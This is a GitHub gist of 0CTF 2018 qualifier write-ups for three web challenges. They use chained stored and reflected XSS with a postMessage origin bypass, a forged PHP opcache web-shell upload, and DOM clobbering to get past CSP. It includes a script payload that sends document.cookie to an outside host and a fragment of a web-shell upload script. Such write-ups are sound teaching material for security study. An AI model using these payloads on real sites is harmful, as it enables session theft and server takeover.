Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
0ctf_2018_quals_writeups 2

Application was built from 2 parts - frontend page ( and backend page (, communicating via postMessage. There were several issues:

  1. Stored XSS on user profile page.

It's also possible to make victim browser trigger a click on injected element

if(location.hash.slice(1) == 'report'){
  1. Reflected XSS on main page
  2. No origin checking in backend page. Actually it has, but...
if(e.origin == '') return;

So we can inject our iframe and send message to backend page, which will make it to send message from backend page to frontend page and thus obtain JS execution on

The solution was:

  1. Register two accounts
  2. Store in first accounts user profile link to main page with injectied iframe to second account profile page.
<a id="report-btn" href="">X</a>

We will override the element returned by #report-btn selector and thus can trigger click on injected element.

  1. Store in second accounts user profile link to our controlled host and use the same trick to trigger a click on it.
<a id="report-btn" href="https://host/pwn.html">X</A>

The click trick allowed us to bypass XSS auditor and now we have injected iframe with our controlled host on the main page.

  1. Send message to backend page after some timeout (we need frontend page to set auth token first).
	TOKEN: 1, cmd: "badges", level: 1,
	 title: "'><script>new Image().src='https://host/?c='+document.cookie<\/script>"
	}, "*");
}, 1000);
  1. Get flag GET /?c=PHPSESSID=bhm9dve2d0n1r0a8rr5v4cmbh7;%20flag=flag%7Bpostman_1n_the_middl3%7D


  1. Read phpinfo and compute system_id from it as md5(php_version + zend_extension_build + "BIN_SIZEOF_CHAR48888")
  2. Clean the dir to remove index.php if it exists
  3. Get the actual server time and set it to opcached web-shell file to bypass opcache.validate_timestamps
  4. Upload it

The final exploit was

# remove index.php if exists
# get timestamp
ts = int(requests.get(URL+"?action=time").text)
# set correct timestamp to our opcached web shell 
f = open("index.php.bin").read()    
pld = f[:8]+sid+f[40:64]+struct.pack("I", ts)+f[68:]
    , files=dict(file=pld)


Application with easy-to-find XSS but CSP not allowing us to get what we want.

  1. We can inject <script> tag and thus break the syntax and prevent /assets/js/config.js file to load.
<script>">...<script nonce="5Gy+AWnMlkogg5b7zUwVVSUsbRs=" src="/assets/js/config.js"></script>

That file contains effects object with code to inject for every desired effect.

var effects = {
    'nest': [
        '<script src="/assets/js/effects/canvas-nest.min.js"></script>'
  1. Now we need to inject element with id=effects. It'll lead our injected element to be returned as window.effects (or simple effects) value ([](DOM Clobbering)).

Now we can append to body any attr of our injected element. But...

  1. Make short payload. Due to length restrictions of effect parameter, we need to place injected element, attr name and code to get flag in about 70 chars. We used text content of post title to store our payload.
title=<script>$.get("/flag").then(function(e){$.post("/article/881", {comment: e})})</script>&content=z&effect=rel"><a id=effects rel="<script>$('h1').html($('h1').text())"><script>

This payload will make request to flag and post it as comment to our article

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment